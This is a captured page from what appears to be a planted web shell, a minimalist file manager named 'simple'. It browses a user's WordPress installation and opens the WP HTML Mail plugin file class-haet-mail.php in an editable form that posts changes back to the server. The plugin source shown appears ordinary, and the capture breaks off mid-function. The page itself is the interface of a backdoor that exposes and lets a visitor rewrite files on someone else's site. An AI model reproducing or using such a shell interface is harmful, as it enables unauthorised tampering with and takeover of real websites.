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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2F'>wp-html-mail</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2Fincludes%2F'>includes</a>/</p><hr><h3>✏️ Editing: class-haet-mail.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;}

require HAET_MAIL_PATH . &#039;includes/class-multilanguage.php&#039;;
require HAET_MAIL_PATH . &#039;includes/class-template-designer.php&#039;;

final class Haet_Mail {


	private static $instance;
	public $multilanguage;
	private $templatedesigner;

	public static function instance() {
		if ( ! isset( self::$instance ) &amp;&amp; ! ( self::$instance instanceof Haet_Mail ) ) {
			self::$instance = new Haet_Mail();
		}

		return self::$instance;
	}


	public function __construct() {
		$this-&gt;multilanguage    = new Haet_Multilanguage();
		$this-&gt;templatedesigner = new Haet_TemplateDesigner();
		
		add_action( &#039;plugins_loaded&#039;, &#039;Haet_Sender_Plugin::hook_plugins&#039;, 30 );

		add_action( &#039;admin_notices&#039;, array( $this, &#039;maybe_show_testmode_warning&#039; ) );
	}

	/**
	 * Get default values for plugin options.
	 * This list of settings is also list list of available settings for validation.
	 */
	public function get_default_options() {
		return array(
			&#039;fromname&#039;                    =&gt; get_bloginfo( &#039;name&#039; ),
			&#039;fromaddress&#039;                 =&gt; get_bloginfo( &#039;admin_email&#039; ),
			&#039;disable_sender&#039;              =&gt; false,
			&#039;testmode&#039;                    =&gt; false,
			&#039;testmode_recipient&#039;          =&gt; &#039;&#039;,
			&#039;invalid_contenttype_to_html&#039; =&gt; &#039;0&#039;,
			&#039;email_post_ids&#039;              =&gt; []
		);
	}

	/**
	 * Send a test message to the given email address
	 */
	public function send_test( $request ) {
		if ( $request-&gt;get_params() ) {
			$email = sanitize_email( wp_unslash( $request-&gt;get_params()[&#039;email&#039;] ) );
		} else {
			$email = &#039;&#039;;
		}
		if ( ! is_email( $email ) ) {
			return new \WP_REST_Response( 
				array(
					&#039;success&#039; =&gt; false,
					&#039;message&#039; =&gt; __( &quot;This doesn&#039;t seem to be a valid email address.&quot;, &#039;wp-html-mail&#039; ),
				)
			);
		}
		wp_mail(
			$email,
			&#039;WP HTML mail - TEST&#039;,
			$this-&gt;get_demo_content(),
			&#039;Content-Type: text/html&#039;
		);
		return new \WP_REST_Response( 
			array(
				&#039;success&#039; =&gt; true,
				&#039;message&#039; =&gt; __( &#039;Your message has been sent.&#039;, &#039;wp-html-mail&#039; ),
			)
		);
	}

	public function get_default_theme_options() {
		return json_decode(
			&#039;{
			&quot;background&quot;: &quot;#ffffff&quot;,
			&quot;contentbackground&quot;: &quot;#f3f3f3&quot;,
			&quot;headertext&quot;: &quot;&#039; . get_bloginfo( &#039;name&#039; ) . &#039;&quot;,
			&quot;headerfont&quot;: &quot;Trebuchet, sans-serif&quot;,
			&quot;headeralign&quot;: &quot;center&quot;,
			&quot;headerfontsize&quot;: &quot;21&quot;,
			&quot;headerbold&quot;: &quot;0&quot;,
			&quot;headeritalic&quot;: 0,
			&quot;headertexttransform&quot;: &quot;uppercase&quot;,
			&quot;headerbackground&quot;: &quot;#ffffff&quot;,
			&quot;headercolor&quot;: &quot;#595959&quot;,
			&quot;headerpaddingtop&quot;: &quot;50&quot;,
			&quot;headerpaddingright&quot;: 0,
			&quot;headerpaddingbottom&quot;: 31,
			&quot;headerpaddingleft&quot;: 0,
			&quot;header_spacer&quot;: 10,
			&quot;headerimg_placement&quot;: &quot;just_text&quot;,
			&quot;headerimg&quot;: &quot;&quot;,
			&quot;headerimg_width&quot;: &quot;600&quot;,
			&quot;headerimg_height&quot;: &quot;1&quot;,
			&quot;headerimg_alt&quot;: &quot;&quot;,
			&quot;headerimg_align&quot;: &quot;&quot;,
			&quot;headlinefont&quot;: &quot;Trebuchet, sans-serif&quot;,
			&quot;headlinealign&quot;: &quot;left&quot;,
			&quot;headlinefontsize&quot;: &quot;19&quot;,
			&quot;headlinebold&quot;: 0,
			&quot;headlineitalic&quot;: 0,
			&quot;headlinetexttransform&quot;: &quot;none&quot;,
			&quot;headlinecolor&quot;: &quot;#343434&quot;,
			&quot;subheadlinefont&quot;: &quot;Trebuchet, sans-serif&quot;,
			&quot;subheadlinealign&quot;: &quot;left&quot;,
			&quot;subheadlinefontsize&quot;: &quot;18&quot;,
			&quot;subheadlinebold&quot;: 0,
			&quot;subheadlineitalic&quot;: 0,
			&quot;subheadlinetexttransform&quot;: &quot;none&quot;,
			&quot;subheadlinecolor&quot;: &quot;#343434&quot;,
			&quot;textfont&quot;: &quot;Helvetica, Arial, sans-serif&quot;,
			&quot;textalign&quot;: &quot;left&quot;,
			&quot;textfontsize&quot;: 14,
			&quot;textbold&quot;: 0,
			&quot;textitalic&quot;: 0,
			&quot;textcolor&quot;: &quot;#878787&quot;,
			&quot;linkcolor&quot;: &quot;#777777&quot;,
			&quot;linkbold&quot;: 0,
			&quot;linkitalic&quot;: 0,
			&quot;linktexttransform&quot;: &quot;none&quot;,
			&quot;linkunderline&quot;: 1,
			&quot;footer&quot;: &quot;&lt;p&gt;&lt;span style=\&quot;color: #595959;\&quot;&gt;\u00a0&lt;\/span&gt;&lt;\/p&gt;\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;span style=\&quot;color: #808080; font-family: Helvetica, Arial, sans-serif;\&quot;&gt;&lt;span style=\&quot;font-size: 12px;\&quot;&gt;WordPress email template created with &lt;a style=\&quot;color: #808080;\&quot; href=\&quot;https:\/\/wordpress.org\/plugins\/wp-html-mail\/\&quot; target=\&quot;_blank\&quot; rel=\&quot;noopener\&quot;&gt;WP HTML Mail&lt;\/a&gt;&lt;\/span&gt;&lt;\/span&gt;&lt;br \/&gt;&lt;span style=\&quot;font-size: 12px; font-family: Helvetica, Arial, sans-serif; color: #808080;\&quot;&gt;&lt;a style=\&quot;color: #808080;\&quot; href=\&quot;&#039; . get_home_url() . &#039;\&quot;&gt;&#039; . str_replace( &#039;http://&#039;, &#039;&#039;, str_replace( &#039;https://&#039;, &#039;&#039;, untrailingslashit( get_home_url() ) ) ) . &#039;&lt;\/a&gt;&lt;\/span&gt;&lt;\/p&gt;&quot;,
			&quot;footerbackground&quot;: &quot;#ffffff&quot;,
			&quot;headertexttranform&quot;: &quot;none&quot;,
			&quot;headlinetexttranform&quot;: &quot;none&quot;,
			&quot;subheadlinetexttranform&quot;: &quot;none&quot;,
			&quot;linktexttranform&quot;: &quot;none&quot;
		}&#039;,
			true
		);
	}


	/**
	 * Load saved options from database, merge with defaults save and validate.
	 */
	public function get_options() {
		$options = $this-&gt;get_default_options();

		$haet_mail_options = get_option( &#039;haet_mail_options&#039; );
		$haet_mail_options = $this-&gt;validate_options( $haet_mail_options );
		if ( ! empty( $haet_mail_options ) ) {
			foreach ( $haet_mail_options as $key =&gt; $option ) {
				$options[ $key ] = $option;
			}
		}
		update_option( &#039;haet_mail_options&#039;, $options );
		return $options;
	}

	/**
	 * Load saved options from database, merge with defaults save and validate.
	 */
	public function get_theme_options( $theme ) {
		$defaults = $this-&gt;get_default_theme_options();
		$options  = get_option( &#039;haet_mail_theme_options&#039; );

		if ( $options ) {
			$options = $this-&gt;init_headerimg_placement( $options );
		}
		$options = wp_parse_args( $options, $defaults );

		$options = $this-&gt;validate_theme_options( $options );
		update_option( &#039;haet_mail_theme_options&#039;, $options );
		return $options;
	}

	public function admin_page_scripts_and_styles( $page ) {
		if ( strpos( $page, &#039;wp-html-mail&#039; ) ) {
			$plugin_data = get_plugin_data( HAET_MAIL_PATH . &#039;/wp-html-mail.php&#039; );

			wp_enqueue_style( &#039;wp-color-picker&#039; );
			wp_enqueue_script(
				&#039;haet_mail_admin_script&#039;,
				HAET_MAIL_URL . &#039;/js/admin_script.js&#039;,
				array( &#039;wp-color-picker&#039;, &#039;jquery-ui-dialog&#039;, &#039;wp-pointer&#039;, &#039;jquery&#039; ),
				$plugin_data[&#039;Version&#039;],
				true
			);
			wp_enqueue_style( &#039;haet_mail_admin_style&#039;, HAET_MAIL_URL . &#039;/css/style.css&#039;, array(), $plugin_data[&#039;Version&#039;] );
			wp_enqueue_style( &#039;wp-jquery-ui-dialog&#039; );
			wp_enqueue_media();
		}
	}


	public function admin_page() {
		add_options_page( __( &#039;Email&#039;, &#039;wp-html-mail&#039; ), __( &#039;Email template&#039;, &#039;wp-html-mail&#039; ), &#039;manage_options&#039;, &#039;wp-html-mail&#039;, array( &amp;$this, &#039;print_admin_page&#039; ) );
	}




	private function process_admin_page_actions() {
		do_action( &#039;haet_mail_plugin_reset_actions&#039; );
		do_action( &#039;haet_mail_process_advanced_actions&#039; );

		if ( array_key_exists( &#039;advanced-action&#039;, $_GET ) ) {
			$advanced_action = sanitize_key( $_GET[&#039;advanced-action&#039;] );
			switch ( $advanced_action ) {
				case &#039;delete-design&#039;:
					delete_option( &#039;haet_mail_theme_options&#039; );
					echo &#039;&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;&lt;strong&gt;&#039;;
					esc_html_e( &#039;Settings deleted.&#039;, &#039;wp-html-mail&#039; );
					echo &#039;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&#039;;
					break;

				case &#039;delete-all&#039;:
					delete_option( &#039;haet_mail_theme_options&#039; );
					delete_option( &#039;haet_mail_options&#039; );
					delete_option( &#039;haet_mail_plugin_options&#039; );
					echo &#039;&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;&lt;strong&gt;&#039;;
					esc_html_e( &#039;Settings deleted.&#039;, &#039;wp-html-mail&#039; );
					echo &#039;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&#039;;
					break;
				
				case &#039;create-template-file&#039;:
					$this-&gt;create_custom_template();
					echo &#039;&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;&lt;strong&gt;&#039;;
					esc_html_e( &#039;Template has been created in your theme folder.&#039;, &#039;wp-html-mail&#039; );
					echo &#039;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&#039;;
					break;
			}
		}
	}



	public function print_admin_page() {
		$options = $this-&gt;get_options();
		$this-&gt;process_admin_page_actions();

		$theme_options = $this-&gt;get_theme_options( &#039;default&#039; );

		$plugin_options = Haet_Sender_Plugin::get_plugin_options();
		if ( isset( $_POST[&#039;haet_mail_plugins&#039;] ) ) {
			$plugin_options = Haet_Sender_Plugin::save_plugin_options( $plugin_options );
		
			echo &#039;&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;&lt;strong&gt;&#039;;
			esc_html_e( &#039;Settings Updated.&#039;, &#039;wp-html-mail&#039; );
			echo &#039;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&#039;;
		}


		if ( array_key_exists( &#039;tab&#039;, $_GET ) ) {
			$tab = sanitize_key( $_GET[&#039;tab&#039;] );
		}
		if ( ! array_key_exists( &#039;tab&#039;, $_GET ) || ! $tab ) {
			$tab = &#039;template&#039;;
		}

		$active_plugins    = Haet_Sender_Plugin::get_active_plugins();
		$available_plugins = Haet_Sender_Plugin::get_available_plugins();
		$plugin_options    = Haet_Sender_Plugin::get_plugin_options();

		add_filter( &#039;tiny_mce_before_init&#039;, array( &amp;$this, &#039;customize_editor&#039; ), 1000 );

		$fonts = $this-&gt;get_fonts();

		$template = $this-&gt;get_preview( $active_plugins, $tab, $options, $plugin_options, $theme_options );

		
		$tabs = [
			&#039;template&#039; =&gt; &#039;◀︎ &#039; . __( &#039;Main settings&#039;, &#039;wp-html-mail&#039; )
		];

		foreach ( $active_plugins as $plugin ) {
			if ( method_exists( $plugin[&#039;class&#039;], &#039;settings_tab&#039; ) ) {
				// WooCommerce tab has moved to the react interface but it may still exist if someone has not updated the add on
				if( $plugin[&#039;name&#039;] !== &#039;woocommerce&#039; ){
					$tabs[ $plugin[&#039;name&#039;] ] = $plugin[&#039;display_name&#039;];
				}
			}
		}
		// remove current tab
		unset( $tabs[$tab] );

		include HAET_MAIL_PATH . &#039;views/admin/settings.php&#039;;
	}



	public function get_demo_content() {
		return &#039;&lt;h1&gt;Lorem ipsum dolor sit amet&lt;/h1&gt;
			&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed &lt;a href=&quot;#&quot;&gt;diam nonumy&lt;/a&gt; eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.&lt;br&gt;Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.&lt;/p&gt;
			&lt;h2&gt;Sed diam nonumy eirmod tempor&lt;/h2&gt;
			&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua.&lt;/p&gt;&#039;;
	}



	public function get_preview( $active_plugins, $tab, $options, $plugin_options, $theme_options ) {
		foreach ( $active_plugins as $plugin ) {
			if ( $plugin[&#039;name&#039;] === $tab ) {
				$sender_plugin                 = $plugin[&#039;class&#039;]::request_preview_instance();
				$sender_plugin-&gt;current_plugin = $plugin;
			}
		}

		$template = $this-&gt;get_template( $theme_options );
		if ( isset( $sender_plugin ) ) {
			$template = str_replace( &#039;###plugin-class###&#039;, &#039;plugin-&#039; . $sender_plugin-&gt;get_plugin_name(), $template );
			$template = $sender_plugin-&gt;modify_template( $template );
		}

		$demo_content = apply_filters( &#039;haet_mail_demo_content&#039;, $this-&gt;get_demo_content(), $options, $plugin_options, $tab );
		if ( isset( $sender_plugin ) ) {
			$demo_content = $sender_plugin-&gt;modify_content( $demo_content );
		}

		if ( $this-&gt;is_mailbuilder_message( $demo_content ) ) {
			$template = str_replace( &#039;{#mailcontent#}&#039;, $demo_content, $template );
		} else {
			$template = str_replace( &#039;{#mailcontent#}&#039;, $this-&gt;wrap_in_padding_container( $demo_content ), $template );
		}

		if ( isset( $sender_plugin ) ) {
			$template = $sender_plugin-&gt;modify_styled_mail( $template );
		}

		$template = apply_filters( &#039;haet_mail_modify_styled_mail&#039;, $template );
		
		return $this-&gt;prepare_email_for_delivery( $template );
	}


	private function validate_theme_options( $options ) {
		foreach ( $options as $option_key =&gt; $option_value ) {
			if ( &#039;footer&#039; === $option_key 
				|| strpos( $option_key, &#039;footer_&#039; ) === 0 /* translation */) {
				$options[ $option_key ] = strip_tags( $option_value, &#039;&lt;h1&gt;&lt;h2&gt;&lt;h3&gt;&lt;h4&gt;&lt;h5&gt;&lt;blockquote&gt;&lt;center&gt;&lt;p&gt;&lt;a&gt;&lt;div&gt;&lt;b&gt;&lt;strong&gt;&lt;i&gt;&lt;em&gt;&lt;button&gt;&lt;table&gt;&lt;thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;td&gt;&lt;span&gt;&lt;br&gt;&lt;img&gt;&lt;style&gt;&#039; );
			} elseif ( &#039;headertext&#039; === $option_key 
				|| strpos( $option_key, &#039;headertext_&#039; ) === 0 /* translation */ ) {
				$options[ $option_key ] = strip_tags( $option_value, &#039;&lt;b&gt;&lt;strong&gt;&lt;i&gt;&lt;em&gt;&lt;span&gt;&#039; );
			} elseif ( &#039;headerimg_notice&#039; === $option_key ) {
				$options[ $option_key ] = strip_tags( $option_value, &#039;&lt;a&gt;&#039; );
			} else {
				$options[ $option_key ] = sanitize_text_field( $option_value );
			}
		}
		return $options;
	}

	/**
	 * Before an option can be saved it has to be sanitized here.
	 * Only option keys defined in get_default_options are valid.
	 * 
	 * @param array $options associative array of options.
	 */
	public function validate_options( $options ) {
		$available_option_keys = array_keys( $this-&gt;get_default_options() );
		if ( is_array( $options ) &amp;&amp; count( $options ) ) {
			foreach ( $options as $option_key =&gt; $option_value ) {
				if ( ! in_array( $option_key, $available_option_keys ) ) {
					unset( $options[ $option_key ] );
				}

				if ( in_array( $option_key, array( &#039;fromaddress&#039;, &#039;testmode_recipient&#039; ) ) ) {
					$options[ $option_key ] = sanitize_email( $option_value );
				} elseif ( in_array( $option_key, array( &#039;email_post_ids&#039; ) ) ) {
					if( !is_array( $options[ $option_key ] ) )
						$options[ $option_key ] = [];
				} else {
					$options[ $option_key ] = sanitize_text_field( $option_value );
				}
			}
		}
		return $options;
	}

	public function save_theme_options( $saved_options, $new_options = null ) {
		if ( ! $new_options ) {
			$new_options = $_POST[&#039;haet_mail_theme&#039;];
		}
		$new_options = $this-&gt;validate_theme_options( $new_options );

		$options = array_merge( $saved_options, $new_options );
		if ( isset( $_POST[&#039;reload_haet_mailtemplate&#039;] ) ) {
			$options = $this-&gt;get_default_theme_options();
		}

		update_option( &#039;haet_mail_theme_options&#039;, $options );

		return $options;
	}



	private function import_theme_options( $new_options, $saved_options ) {
		$new_options = json_decode( stripslashes( $new_options ), true );

		if ( $new_options ) {
			$new_options = $this-&gt;validate_theme_options( $new_options );
			$options     = array_merge( $saved_options, $new_options );

			update_option( &#039;haet_mail_theme_options&#039;, $options );
		} else {
			$options = $saved_options;
		}

		return $options;
	}



	/**
	 *  create a template file in the active theme directory
	 **/
	public function create_custom_template() {
		$theme_path = get_stylesheet_directory();
		if ( is_writable( $theme_path ) ) {
			if ( ! file_exists( $theme_path . &#039;/wp-html-mail&#039; ) ) {
				mkdir( $theme_path . &#039;/wp-html-mail&#039; );
			}
			if ( file_exists( $theme_path . &#039;/wp-html-mail/template.html&#039; ) ) {
				rename( $theme_path . &#039;/wp-html-mail/template.html&#039;, $theme_path . &#039;/wp-html-mail/template-backup-&#039; . date( &#039;Y-m-d_H-i-s&#039; ) . &#039;.html&#039; );
			}
			file_put_contents( $theme_path . &#039;/wp-html-mail/template.html&#039;, $this-&gt;load_template_file( &#039;default&#039; ) );
			chmod( $theme_path . &#039;/wp-html-mail/template.html&#039;, 0777 );
		}
	}


	// Callback function to filter the MCE settings
	public function customize_editor( $init_array ) {
		$init_array[&#039;block_formats&#039;]    = &#039;Headline=h1;Text=p&#039;;
		$init_array[&#039;fontsize_formats&#039;] = &#039;11px 12px 13px 14px 16px 18px 21px 23px 25px 30px 35px 40px&#039;;

		$fonts                     = $this-&gt;get_fonts();
		$init_array[&#039;font_formats&#039;] = &#039;&#039;;
		foreach ( $fonts as $font =&gt; $display_name ) {
			$init_array[&#039;font_formats&#039;] .= &quot;$display_name=$font;&quot;;
		}
		$init_array[&#039;font_formats&#039;] = trim( $init_array[&#039;font_formats&#039;], &#039;;&#039; );
		$init_array[&#039;toolbar1&#039;] = &#039;fontselect,fontsizeselect,forecolor,|,bold,italic,|,alignleft,aligncenter,alignright,|,pastetext,removeformat,|,undo,redo,|,link,unlink,|&#039;;
		$init_array[&#039;toolbar2&#039;] = &#039;&#039;;

		return $init_array;
	}


	private function is_mailbuilder_message( $content ) {
		$email_name = &#039;&#039;;
		preg_match( &#039;/\&lt;!--mailbuilder\[(.*)\]--&gt;/mU&#039;, $content, $email_name );
		return ( is_array( $email_name ) &amp;&amp; count( $email_name ) &gt; 1 );
	}

	// https://stackoverflow.com/questions/3904482/match-url-pattern-in-php-using-a-regular-expression/15690891#15690891
	// match all URLs except those preceded with &quot; or &#039; which indicates the URL is already part of an attribute src=&quot;htt or href=&quot;htt...
	private function make_urls_clickable( $html ) {
		return preg_replace(
			&#039;/\b(?&lt;!&quot;|\&#039;)(([\w-]+:\/\/?|www[.])[^\s()&lt;&gt;]+(?:\([\w\d]+\)|([^[:punct:]\s]|\/)))/s&#039;,
			&#039;&lt;a href=&quot;$1&quot;&gt;$1&lt;/a&gt;&#039;,
			$html
		);
	}


	public function style_mail( $email ) {
		$options       = $this-&gt;get_options();
		$theme_options = $this-&gt;get_theme_options( &#039;default&#039; );
		$template      = $this-&gt;get_template( $theme_options );

		if ( $this-&gt;is_debug_mode() ) {
			$original_email = $email;
		}

		$sender_plugin = Haet_Sender_Plugin::detect_plugin( $email );
		if ( ! $sender_plugin ) {
			$use_template = true;
		} else {
			$use_template = $sender_plugin-&gt;use_template();
		}

		$use_template = apply_filters(
			&#039;haet_mail_use_template&#039;,
			$use_template,
			array(
				&#039;to&#039;            =&gt; $email[&#039;to&#039;],
				&#039;subject&#039;       =&gt; $email[&#039;subject&#039;],
				&#039;message&#039;       =&gt; $email[&#039;message&#039;],
				&#039;headers&#039;       =&gt; $email[&#039;headers&#039;],
				&#039;attachments&#039;   =&gt; $email[&#039;attachments&#039;],
				&#039;sender_plugin&#039; =&gt; ( $sender_plugin ? $sender_plugin-&gt;get_plugin_name() : null ),
			)
		);

		// check if the email content contains the mailbuilder comment
		// if so we don&#039;t use the template twice if emails are resent for some reason
		if( strpos( $email[&#039;message&#039;], &#039;&lt;!--content-table--&gt;&#039; ) !== false ){
			$use_template = false;
		}

		if ( $use_template ) {
			// plain text or no content type
			$headers_string = $email[&#039;headers&#039;];
			if ( is_array( $headers_string ) ) {
				$headers_string = implode( &quot;\n&quot;, $headers_string );
			}

			// remove our own filter (just in case it is still set because of a previous email)
			remove_filter( &#039;wp_mail_content_type&#039;, array( $this, &#039;set_mail_content_type&#039; ), 20 );

			// check the content type passed via wp_mail and the
			// content type passed via filter. If one them is text/html
			// the sender already did his work and we don&#039;t have to escape
			// the content anymore.
			$is_plaintext = (
				( stripos( $headers_string, &#039;Content-Type:&#039; ) === false
					|| stripos( $headers_string, &#039;Content-Type: text/plain&#039; ) !== false
				)
				&amp;&amp; &#039;text/html&#039; !== apply_filters( &#039;wp_mail_content_type&#039;, &#039;text/plain&#039; ) 
			);

			if ( $sender_plugin ) {
				$template = str_replace( &#039;###plugin-class###&#039;, &#039;plugin-&#039; . $sender_plugin-&gt;get_plugin_name(), $template );

				if ( $is_plaintext ) {
					$email[&#039;message&#039;] = $sender_plugin-&gt;modify_content_plain( $email[&#039;message&#039;] );
				} else {
					$email[&#039;message&#039;] = $sender_plugin-&gt;modify_content( $email[&#039;message&#039;] );
				}

				$template = $sender_plugin-&gt;modify_template( $template );
			} else {
				if ( $is_plaintext &amp;&amp; ! ( isset( $options[&#039;invalid_contenttype_to_html&#039;] ) &amp;&amp; $options[&#039;invalid_contenttype_to_html&#039;] ) ) {
					$email[&#039;message&#039;] = htmlentities( $email[&#039;message&#039;] );

					$email[&#039;message&#039;] = wpautop( $email[&#039;message&#039;] );
				} elseif ( $is_plaintext &amp;&amp; isset( $options[&#039;invalid_contenttype_to_html&#039;] ) &amp;&amp; $options[&#039;invalid_contenttype_to_html&#039;] ) {
					// user has explicitly decided to interpret text as html
					// but if the text doesn&#039;t contain any html tags but \n it get&#039;s merged into a single line
					// see: https://wordpress.org/support/topic/password-recover-link/

					if (
						! preg_match( &#039;/&lt;[^h][^&gt;]*&gt;/m&#039;, $email[&#039;message&#039;], $output_array )
						&amp;&amp; strpos( $email[&#039;message&#039;], &quot;\n&quot; ) !== false
					) {
						// found no HTML tags but line breaks
						$email[&#039;message&#039;] = wpautop( $email[&#039;message&#039;] );
						// replace links like &lt;http://... with &lt;a href=&quot;http://...&quot;
						// removed in 2.9.1 because we should not convert plaintext to html
						// added again in 2.9.2 because of the password reset link
						// not necessary anymore sind WP 5.4 but we keep it for a while for backwards compatibility
						$email[&#039;message&#039;] = preg_replace( &#039;/\&lt;http(.*)\&gt;/&#039;, &#039;&lt;a href=&quot;http$1&quot;&gt;http$1&lt;/a&gt;&#039;, $email[&#039;message&#039;] );
					}
				}

				if ( $is_plaintext ) {
					// nor matter whether or not invalid_contenttype_to_html is set

					// SINCE 3.0.6: in WP version 5.4 the brackets around the password reset link
					// have been removed ( https://core.trac.wordpress.org/ticket/44589 )
					// some email client now show the link as plain text not as link
					// https://wordpress.org/support/topic/no-links-9/
					// we keep the line preg_replace(&#039;/\&lt;http... below for backwards compatibility and add a general URL matcher here
					$email[&#039;message&#039;] = $this-&gt;make_urls_clickable( $email[&#039;message&#039;] );
				}
			}

			// drop &lt;style&gt; blocks in content
			$email[&#039;message&#039;] = preg_replace( &#039;/\&lt;style(.*)\&lt;\/style\&gt;/simU&#039;, &#039;&#039;, $email[&#039;message&#039;] );

			// mb_substr instead of substr suggested here: https://wordpress.org/support/topic/encoding-problem-on-woocommerce/
			$pre_header_text = mb_substr( wp_strip_all_tags( $email[&#039;message&#039;] ), 0, 200 );

			if ( $this-&gt;is_mailbuilder_message( $email[&#039;message&#039;] ) ) {
				$email[&#039;message&#039;] = str_replace( &#039;{#mailcontent#}&#039;, $email[&#039;message&#039;], $template );
			} else {
				$email[&#039;message&#039;] = str_replace( &#039;{#mailcontent#}&#039;, $this-&gt;wrap_in_padding_container( $email[&#039;message&#039;] ), $template );
			}

			$pre_header_text  = apply_filters( &#039;haet_mail_preheader&#039;, $pre_header_text, $email );
			$email[&#039;message&#039;] = str_replace( &#039;###pre-header###&#039;, $pre_header_text, $email[&#039;message&#039;] );

			$email[&#039;message&#039;] = str_replace( &#039;{#mailsubject#}&#039;, $email[&#039;subject&#039;], $email[&#039;message&#039;] );

			$email[&#039;message&#039;] = stripslashes( str_replace( &#039;\\&amp;quot;&#039;, &#039;&#039;, $email[&#039;message&#039;] ) );

			if ( isset( $sender_plugin ) ) {
				$email[&#039;message&#039;] = $sender_plugin-&gt;modify_styled_mail( $email[&#039;message&#039;] );
			}

			$email[&#039;message&#039;] = apply_filters( &#039;haet_mail_modify_styled_mail&#039;, $email[&#039;message&#039;] );

			$email[&#039;message&#039;] = do_shortcode( $email[&#039;message&#039;] );

			$email[&#039;message&#039;] = $this-&gt;prepare_email_for_delivery( $email[&#039;message&#039;] );
		}

		$use_sender = ! isset( $options[&#039;disable_sender&#039;] ) || ! $options[&#039;disable_sender&#039;];
		if ( $sender_plugin ) {
			$use_sender = $sender_plugin-&gt;use_sender();
		}
		$use_sender = apply_filters(
			&#039;haet_mail_use_sender&#039;,
			$use_sender,
			array(
				&#039;to&#039;            =&gt; $email[&#039;to&#039;],
				&#039;subject&#039;       =&gt; $email[&#039;subject&#039;],
				&#039;message&#039;       =&gt; $email[&#039;message&#039;],
				&#039;headers&#039;       =&gt; $email[&#039;headers&#039;],
				&#039;attachments&#039;   =&gt; $email[&#039;attachments&#039;],
				&#039;sender_plugin&#039; =&gt; ( $sender_plugin ? $sender_plugin-&gt;get_plugin_name() : null ),
			)
		);

		if ( $use_sender ) {
			add_filter( &#039;wp_mail_from&#039;, array( $this, &#039;set_mail_from_address&#039; ), 100 );
			add_filter( &#039;wp_mail_from_name&#039;, array( $this, &#039;set_mail_sender_name&#039; ), 100 );
		}

		if ( $use_template ) {
			add_filter( &#039;wp_mail_content_type&#039;, array( $this, &#039;set_mail_content_type&#039; ), 20 );
			add_filter( &#039;wp_mail_charset&#039;, array( $this, &#039;set_mail_charset&#039; ), 20 );
		}

		if ( $use_template &amp;&amp; $sender_plugin &amp;&amp; $sender_plugin-&gt;is_header_hidden() ) {
			$email[&#039;message&#039;] = preg_replace( &#039;/(.*)&lt;!--header-table--&gt;.*&lt;!--\/header-table--&gt;(.*)/smU&#039;, &#039;$1 $2&#039;, $email[&#039;message&#039;] );
		}
		if ( $use_template &amp;&amp; $sender_plugin &amp;&amp; $sender_plugin-&gt;is_footer_hidden() ) {
			$email[&#039;message&#039;] = preg_replace( &#039;/(.*)&lt;!--footer-table--&gt;.*&lt;!--\/footer-table--&gt;(.*)/smU&#039;, &#039;$1 $2&#039;, $email[&#039;message&#039;] );
		}

		// Field values in Ninja Forms and of course also in other plugins are encoded and otherwise not suitable for subjects
		$email[&#039;subject&#039;] = html_entity_decode( $email[&#039;subject&#039;] );

		$email = $this-&gt;add_attachments( $email );

		if ( $this-&gt;is_debug_mode() ) {
			$debug_filename = trailingslashit( get_temp_dir() ) . &#039;debug-&#039; . uniqid() . &#039;.txt&#039;;

			$debug  = print_r( $email, true );
			$debug .= &#039;=====POST:&#039; . print_r( $_POST, true ) . &quot;\n\n&quot;;
			$debug .= &#039;=====GET:&#039; . print_r( $_GET, true ) . &quot;\n\n&quot;;
			$debug .= &#039;SENDER-PLUGIN: &#039; . print_r( $sender_plugin, true ) . &quot;\n\n&quot;;
			$debug .= &#039;ACTIVE-PLUGINS: &lt;pre&gt;&#039; . print_r( Haet_Sender_Plugin::get_active_plugins(), true ) . &quot;\n\n&quot;;
			if( isset( $is_plaintext ) ){
				$debug .= &#039;is_plaintext: &#039; . ( $is_plaintext ? &#039;YES&#039; : &#039;NO&#039; ) . &quot;\n&quot;;
			}
			$debug .= &#039;===== ORIGINAL EMAIL=====&#039; . &quot;\n&quot;;
			$debug .= print_r( $original_email, true );
			file_put_contents( $debug_filename, $debug );
			if( !isset($email[&#039;attachments&#039;]) || !is_array($email[&#039;attachments&#039;]) )
				$email[&#039;attachments&#039;] = [];
			$email[&#039;attachments&#039;][] = $debug_filename;
		}

		if (
			isset( $options[&#039;testmode&#039;] )
			&amp;&amp; isset( $options[&#039;testmode_recipient&#039;] )
			&amp;&amp; $options[&#039;testmode&#039;]
